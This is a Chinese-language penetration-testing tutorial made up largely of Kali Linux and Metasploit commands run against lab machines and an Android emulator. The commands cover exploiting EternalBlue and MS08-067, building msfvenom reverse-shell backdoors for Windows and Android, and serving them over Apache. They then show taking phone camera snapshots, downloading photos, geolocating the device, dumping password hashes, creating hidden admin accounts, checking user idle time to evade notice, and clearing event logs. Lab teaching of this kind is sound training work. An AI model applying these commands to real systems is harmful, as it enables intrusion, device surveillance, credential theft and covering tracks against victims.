1、Legion漏洞掃描分析工具
Legion是Sparta的一個分支,它是一個開源的、易於使用的、超級可擴充套件的、半自動的網路滲透測試框架。它是一款Kali Linux系統預設整合的Python GUI應用程式工具。Legion是一個Nmap、Nikto、Hydra等工具的集合,利用各個工具的優秀功能,完成收集資訊、掃描和爆破等任務。
Legion主要包含以下功能:埠掃描,程式自動呼叫Nmap進行掃描,根據Nmap的掃描結果,nikto自動載入結果,展開更精確的掃描。針對掃描結果,使用特定的工具,比如dirbuster目錄爆破,利用webslayer進行web指紋識別。針對可暴力破解的埠,呼叫hydra進行暴力破解。下面我們來看下如何使用這款工具:
首先我們先登入Metasploitable2,透過ifconfig命令獲取其IP地址。然後
開啟Legion工具。然後輸入sudo legion啟動工具。
點選加號。
在這裡輸入你要滲透的ip即可,然後點選submit按鈕即可。
2、漏洞利用searchsploit
首先,大家先記下一個地址:https://www.exploit-db.com/。它是專門用來收集各種漏洞的網站。在kali系統中,有搜尋漏洞資料庫的本地副本,我們可以在終端視窗中輸入命令去搜尋。
命令就是searchsploit,它的常用選項如下:
- -c,--case [Term]:執行區分大小寫的搜尋,預設搜尋對大小寫不敏感。
- -e,--exact [Term]:對exploit標題執行EXACT匹配(預設為AND)。
- -j,--json [Term]:以JSON格式顯示結果。
- -m,--mirror [EDB-ID]:將一個漏洞利用映象副本到當前工作目錄。
- -o,--overflow [Term]: exploit標題被允許溢位其列。
- -p,--path [EDB-ID]:顯示漏洞利用的完整路徑。如果可能, 還將複製路徑到貼上板。
- -t,--title [Term]:僅僅搜尋漏洞標題,預設是標題和檔案的路徑。
- -u,--update [Term]:檢查並安裝任何exploit-db軟體包更新。
- -w,--www [Term]:顯示exploit-db.com的URL而不是本地路徑(線上搜尋)。
下面我們看下例子:
- searchsploit -t oracle windows:搜尋標題中包含oracle windows的漏洞。
- searchsploit -p 3389:搜尋漏洞號為3389的漏洞。
- searchsploit mysql:查詢mysql的漏洞。
- searchsploit apple:查詢apple的漏洞。
實踐:
- 我們需要在win7上安裝一個easy file sharing的軟體,該軟體是一種允許訪客容易的經由瀏覽器上傳、下載檔案的檔案分享系統。
- 安裝完成後,我們可以在kali系統中,透過searchsploit easy file sharing命令,來檢視該軟體的一些漏洞。
- 然後我們找到/usr/share/exploitdb/exploits/windows/remote/。這個地址下的39009.py檔案。
- 由於是python指令碼所以我們使用python命令來執行,完整的命令是這樣的:python /usr/share/exploitdb/exploits/windows/remote/39009.py xxx.xxx.xxx.xxx 80。
- 然後回車,就會發現windows7中的計算器開啟了。就說明你的指令碼入侵成功了。
3、Metasploit簡介
Metasploit被業內譽為可以黑掉整個宇宙的工具,雖然有些誇張,但是足以見得Metasploit有多強大。Metasploit是目前最流行、 最強大、最具擴充性的滲透測試平臺。2003年由HD摩爾釋出第一版,2007年用ruby語言重寫。後來被Rapid7收購後,分出了多個版本,有付費的,也有免費的。 Metasploit的官網是:https://www.metasploit.com/。
我們可以在Kali系統中找到該軟體:
點選之後輸入系統root密碼,等待一會後,就變成這樣了:
4、Metasploit:埠掃描
實驗靶機:metasploitable2。
- 使用Nmap進行掃描,nmap xxx.xxx.xxx.xxx。
- 用metasploit模組進行掃描,search portscan。
- use auxiliary/scanner/portscan/tcp。
- show options,檢視需要設定的引數。
- set rhosts xxx.xxx.xxx.xxx。
- 然後輸入命令:run。即可。
5、Metasploit:SMB掃描
實驗靶機:win7。
SMB,全稱是Server Message Block,即服務資訊塊,是一個協議名。它能被用於Web連結和客戶端與伺服器之間的資訊溝通。透過掃描SMB,可以識別目標的系統資訊。
- search smb。
- use auxiliary/scanner/smb/smb_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
6、Metasploit:服務識別
實驗靶機:linux。
掃描伺服器的SSH服務。
- search ssh。
- use auxiliary/scanner/ssh/ssh_version。
- set rhosts xxx.xxx.xxx.xxx。
- run。
7、Metasploit:網路嗅探
獲取FTP密碼。
我們需要一個模擬使用者:win7。需要一個實驗靶機:Windows server 2008(帶有FTP服務)。
- use auxiliary/sniffer/psnuffle,使用嗅探模組。
- sudo su,如果許可權不夠的話,切換使用者。
- 輸入msfconsole,啟動Metasploit。
- 然後再實用模組,run即可。
8、Metasploit:SNMP掃描與列舉
SNMP是專門設計用於在IP網路管理網路節點(伺服器、工作站、路由器、交換機等)的一種標準協議,它是一種應用層協議。各種網路裝置上都可以看到預設啟用的SNMP服務,從交換機到路由器,從防火牆到網路印表機,無一例外。
本次的實驗靶機:Metasploitable2。
預設情況下,Metasploitable2的SNMP服務僅監聽本地主機。所以我們需要對靶機的預設配置做一下修改。
- cd /etc/default/snmpd。
- 然後透過vim編輯一下,snmpd.pid 後面的ip改成0.0.0.0即可。
- 然後跟之前一樣,搜尋snmp相關的模組:search snmp_login。
- 然後,use auxiliary/scanner/snmp/snmp_login。
- 然後就是set ip。再就是run。完了
- 我們還可以使用auxiliary/scanner/snmp/snmp_enum模組。這裡就不重複如何使用了。
9、Metasploit:掃描弱密碼主機
實驗靶機:多臺windows。
使用的模組:auxiliary/scanner/smb/smb_login。
知道ip地址範圍即可,批次掃描。
10、Metasploit:VNC身份識別
VNC(Virtual Network Console)是虛擬網路控制檯的縮寫。它是一款優秀的遠端控制工具軟體。VNC是在基於UNIX和Linux作業系統的免費的開源軟體,遠端控制能力強大,高效實用,其效能可以和windows和Mac中的任何遠端控制軟體媲美。在Linux中,VNC包括以下四個命令:
- vncserver
- vncviewer
- vncpasswd
- vncconnect
大多數情況,只需要1、2兩個命令即可。
實驗靶機:Metaspolitable2。
- use auxiliary/scanner/vnc/vnc_none_auth。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然後我們試下vnc密碼爆破
- use auxiliary/scanner/vnc/vnc_login。
- set rhosts xxx.xxx.xxx.xxx。
- run。
然後我們有了密碼,試下vnc登入。
- 開啟一個新的終端。
- 然後輸入vncviewer xxx.xxx.xxx.xxx。
- 輸入爆破出來的密碼即可遠端連線上了。
11、Wmap網站漏洞掃描
Wmap本身不是一個獨立的漏洞掃描器,而是作為Metasploit的一個模組。結合Web漏洞和Web服務相關的模組協同工作,完成目標伺服器的掃描任務。它的掃描結果不會自動生成報告,而是直接存入Metasploit的資料庫。
- load wmap:載入wmap
- wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/:向wmap中新增一個掃描站點。
- wmap_sites -l:檢視已新增的站點。
- wmap_targets -d 0:根據已新增站點的ID,設定帶掃描的目標站點。
- wmap_targets -l:檢查已待掃描的目標主機。
- wmap_run -e:執行測試。
- vulns:掃描完成後,使用Metasploit命令檢查漏洞記錄。
- wmap_vulns -l。
實戰:
- 先在Kali的瀏覽器裡輸入你已開啟的Metasploitable2的虛擬機器的ip。不同版本瀏覽器的位置可能會有些區別,但是你一定可以找到的。
- 然後可以看到這樣一個超連結。
- 點選超連結,進入一個網站。這就是我們要掃描的網站。
- 然後執行:wmap_sites -a http://xxx.xxx.xxx.xxx/mutillidae/命令。
- 然後執行:wmap_sites -l。檢視一下編號id。
- 然後執行測試:wmap_run -e。
- 等待結束後,可以透過vulns然後wmap_vulns -l命令檢視漏洞。
12、Metasploit遠端程式碼執行
實驗靶機:Window Server 2008/Windows 7。
- search ms17-010。ms:微軟。17:17年。010:第十個。
- 然後執行:use exploit/windows/smb/ms17_010_eternalblue。
- 設定一下相關的引數:
- set rhosts xxx.xxx.xxx.xxx。
- set payload windows/x64/shell/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx。
- run。
13、Metasploit:利用瀏覽器漏洞遠端執行程式碼
實驗靶機:Windows XP。漏洞利用:ms12-004。
- search ms12-004。
- use exploit/windows/browser/ms12_004_midi。
- set srvhost xxx.xxx.xxx.xxx(當前主機ip)。
- set payload windows/x64/shell/reverse_tcp。
- set lport 6666。
- run。
- 然後監聽成功後,會生成一個隨機的地址。在windows上開啟這個地址。回到kali的命令列中,可以檢視到它的session。
- 然後輸入命令:sessions。
- 然後使用session:sessions -i [session id]。
- 然後就可以進去了。
14、Metasploit:漏洞提權
實驗靶機:windows xp。
前提必須要有一個session會話。
- search ms08-067。
- use exploit/windows/smb/ms08_067_netapi。
- set rhosts xxx.xxx.xxx.xxx。
- set lport 5555。
- run。
- sessions。
- search 14-002。
- use exploit/windows/local/bthpan。
- set session [session id]。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
其他模組:
- exploit/windows/local/ms13_053_schlamperei
- exploit/windows/local/ms13_081_track_popup_menu
15、Metasploit:生成後門
首先,windows、Linux、java、php、Android等後門都支援。嘿嘿。
1、生成windows後門
命令:
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -f exe -o /home/kali(你的home目錄下的使用者目錄)/payload.exe
- msfvenom -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 -i 3 -e x86/shikata_ga_nai -f exe -o /home/kali(你的home目錄下的使用者目錄)/payload.exe
Msfvenom:
- msfvenom --list archs,檢視支援的系統架構。
- msfvenom --list platforms,檢視支援系統平臺。
- msfvenom -l payload,檢視所有可用的payload。
- msfvenom -l formats,檢視所有的輸出格式。
- msfvenom -l encrypt,檢視所有的加密方式。
- msfvenom -l encoders,檢視所有的解碼器。
實踐:
- 先輸入上面的命令中的第一條命令,然後在你的home/XXX目錄下可以看到一個payload.exe檔案。
- 然後我們需要啟動apache服務:sudo service apache2 start。
- 然後在windows的虛擬機器裡,可以透過瀏覽器訪問kali的ip地址,就會列印出Apache服務。
- 然後我們把生成的exe檔案複製到windows中。
- 刪除Apache主頁的頁面,把payload.exe複製過去。(想要右鍵刪除,發現刪不了,好吧,用命令列刪吧)
- cd /var/www/html。
- sudo rm index.nginx-debian.html
- sudo rm index.html
- sudo cp /home/xx(你的使用者名稱)/payload.exe /var/www/html/
- 然後重新整理windows瀏覽器剛才的地址,就會看到一個檔案,然後把它儲存到本地的桌面上即可。
- 刪除Apache主頁的頁面,把payload.exe複製過去。(想要右鍵刪除,發現刪不了,好吧,用命令列刪吧)
- 開啟Metasploit。(剛才的payload.exe相當於被控端,我們還需要和主控端結合使用)。設定使用模組及引數:
- use exploit/multi/handler
- set payload windows/meterpreter/reverse_tcp
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)
- set lport 5555
- run
- 然後出現下面的命令列主機名就說明我們成功了:
2、生成Android後門
實驗靶機:Android模擬器。
總體的流程跟windows後門是很類似的,只是使用的模組有些許的區別。我們需要修改一些配置:
- 把kali系統的網路連線模式改成橋接模式,因為安卓模擬器是安在物理主機上的,橋接模式之前講過了這裡不再多說。
- 安裝一個安卓模擬器,不要安裝騰訊手遊助手,那個更偏向遊戲玩耍。安裝個夜神啊啥的都行。注意,是安裝在你的物理機上的。
- 然後輸入:sudo ifconfig。我們會發現,ip地址變化了。
實驗開始:
- msfvenom -p android/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx(本機ip) lport=5555 R>/home/kali(你的home目錄下的使用者目錄)/payload.apk
- 同樣的開始Apache服務:sudo service apache2 start。
- 然後在你的安卓模擬器的瀏覽器裡,輸入你的kali虛擬機器的ip。
- 把你的apk安裝包複製到apache目錄下:sudo cp /home/zakingwong/payload.apk /var/www/html/。
- 重新整理下安卓模擬器的目錄。發現有了新的apk檔案。
- 跟windows的操作一樣,下載apk,安裝apk。
- 然後,開啟Metasploit。
- 使用主控端模組,跟windows一樣:use exploit/multi/handler。
- set payload android/meterpreter/reverse_tcp。
- set lhost xxx.xxx.xxx.xxx(你的主控端ip)。
- set lport 5555。
- run
然後你就可以幹你想幹的事了。
3、遠端控制安卓手機,呼叫攝像頭拍照
- webacm_list,檢視有哪些攝像頭。
- webacm_snap,從指定的攝像頭拍攝快照:
- -h:顯示幫助。
- -i:要使用的網路攝像頭的索引號。
- -p:JPEG影像檔案路徑。預設為HOME/[隨機亂碼名字].jpeg。
- -q:JPEG影像質量,預設為50。
- -v:自動檢視JPEG影像,預設為“true”。
- webcam_stream:從指定的網路攝像頭播放影片流。
- 然後,自己用命令去玩吧。
- 友情提示,連結你wifi的安卓手機,都可以這麼玩。所以,不要幹壞事!!!!違法的!!!
4、遠端控制安卓手機,上傳下載檔案
我們先來學下檔案系統命令:
- cat,讀取並輸出到標準輸出。
- cd,更改目錄。
- checksum,檢索檔案的校驗和。
- cp,將原始檔複製到目標資料夾。
- dir,列表檔案,ls的別名。
- download,從目標系統檔案下載。
- eidt,用vim編輯檔案。
- getlwd,列印本地目錄。
- getwd,列印工作目錄。
- lcd,更改本地目錄。
- lls,列出本地檔案。
- lpwd,列印本地工作目錄。
- ls,列出檔案。
- mkdir,建立目錄。
- mv,將原始檔移動到目標目錄。
- pwd,輸出工作目錄。
- rm,刪除檔案。
- search,搜尋檔案。
- upload,上傳檔案或目錄。
實踐從手機下載檔案,上傳檔案,大家可以自己嘗試哦:
- cd /
- ls
- cd sdcard
- ls
- cd DCIM
- ls
- cd Camera
- download 1.jpeg
5、遠端控制安卓手機,實現定位
具體的Android命令有很多,這裡就不多說了,大家有興趣可以自己去百度查下。然後實現定位就很簡單了,使用geolocate命令即可。
16、Meterpreter:Windows訪問檔案系統
- 首先,把網路連線模式修改成NAT模式
- 在windows執行之前生成好的exe檔案,如果不知道咋回事回頭看下。
- 在kali系統上開啟主控端:use exploit/multi/handler 。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- set lhost xxx.xxx.xxx.xxx(主控端ip)。
- run。
- 跟之前一樣,被控端安裝下exe檔案。
- 然後就可以操作windows的系統檔案了。相關命令跟之前安卓部分的命令都差不多。這裡就不多說了。
17、Meterpreter:Windows許可權提升和獲取憑證
有的時候,你可能會發現自己的Meterpreter會話受到了使用者許可權的限制。修改登錄檔、安裝後門或匯出密碼等活動都需要提升用許可權。而Meterpreter給我們提供了一個getsystem命令,可以實現提權。
另外,getuid可以獲取當前的使用者資訊,system是系統的最高許可權。如果使用system命令仍無法獲取,那麼接下來可以使用之前學過的漏洞提權。
我們來看下漏洞提權的實踐步驟:
- search ms13-053。
- use exploit/windows/local/ms13_053_schlamperei。
- 然後我們需要設定一下session。之前學過的,這裡不說了。
- set session 1。
- set payload windows/meterpreter/reverse_tcp。
- set lport 6666。
- run。
提升許可權後,可以透過hashdump模組,從SAM資料庫中匯出本地賬號。資料的輸出格式是:
使用者名稱:SID:LM雜湊:NTLM雜湊:::
18、Meterpreter:Windows執行程式和螢幕截圖
快速執行命令指令碼:每次我們執行的命令內容基本上都是類似的,所以我們可以建立一個檔案。
1.然後右鍵選擇用mousepad開啟。
2.然後可以把我們常用的命令寫到這個指令碼里。內容如下:
use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.10.129 set lport 5555
3.然後儲存檔案。
4.開啟Metasploit。輸入這樣的命令:resource /home/(你的使用者名稱)/windows_control。
5.指令碼就執行了。
6.然後直接run。
7.再開啟被控端就可以了。
1、執行程式
execute命令可以可以在目標系統中執行應用程式。該命令的使用方法如下:
- execute -f <file> [Options]
- -H,建立一個隱藏程式。
- -a,傳遞給命令的引數。
- -i,跟程式進行互動。
- -m,從記憶體中執行。
- -t,使用當前偽造的執行緒令牌執行程式。
- -s,在給定會話中執行程式。
然後哈哈哈哈哈,我們可以試一下這個命令:execute -f calc.exe。開啟Windows的計算器。哦吼,好玩吧。
2、螢幕截圖
screenshot命令來進行截圖,並儲存在kali中。
screenshare命令可以進行實時的監控。
19、Meterpreter:Windows建立新賬號和啟用遠端桌面
1、建立新賬號
透過getgui指令碼,使用-u和-p引數,並給它分配管理員許可權,然後將其新增到遠端桌面使用者組中。
run getgui -u hack -p pass123
注意:如果你的許可權不是SYSTEM,需要用之前學過的方法進行提權。提權之後再用上面的命令建立使用者。
2、啟用遠端桌面
如果使用者沒有開啟遠端桌面功能,那麼可以透過:
run getgui -e
來開啟遠端桌面。
在開啟遠端桌面之前,我們還需要使用idletime命令檢查遠端使用者的空閒時常,這樣可以降低你被發現的機率。
然後我們在新的終端執行:rdesktop [你的目標ip:3389]。
然後可能你建立的使用者許可權不夠。那麼你可以在Meterpreter中執行shell命令,也就是開啟你控制的目標主機的終端,執行下面的命令:
net localgroup administrators hack/add。這裡的hack就是你之前建立的使用者名稱。
20、Meterpreter:Windows程式繫結和清除事件日誌
1、程式繫結
Meterpreter可以透過與其他程式繫結來實現持久化。
- 使用ps命令檢視執行的程式。(當然要透過之前寫好的指令碼連結主控端和被控端,進入Meterpreter)
- 透過getpid命令,拿到當前你這個hack指令碼的程式。
- 然後我們隨便找一個ps列出來的程式繫結吧。使用migrate [pid]命令即可。
- 在檢視pid就會變成繫結的那個pid了。
2、清除日誌
可以透過clearev命令來清除日誌。
ps:我們可以透過右鍵計算機-》管理-》事件檢視器-》Windows日誌。來檢視日誌。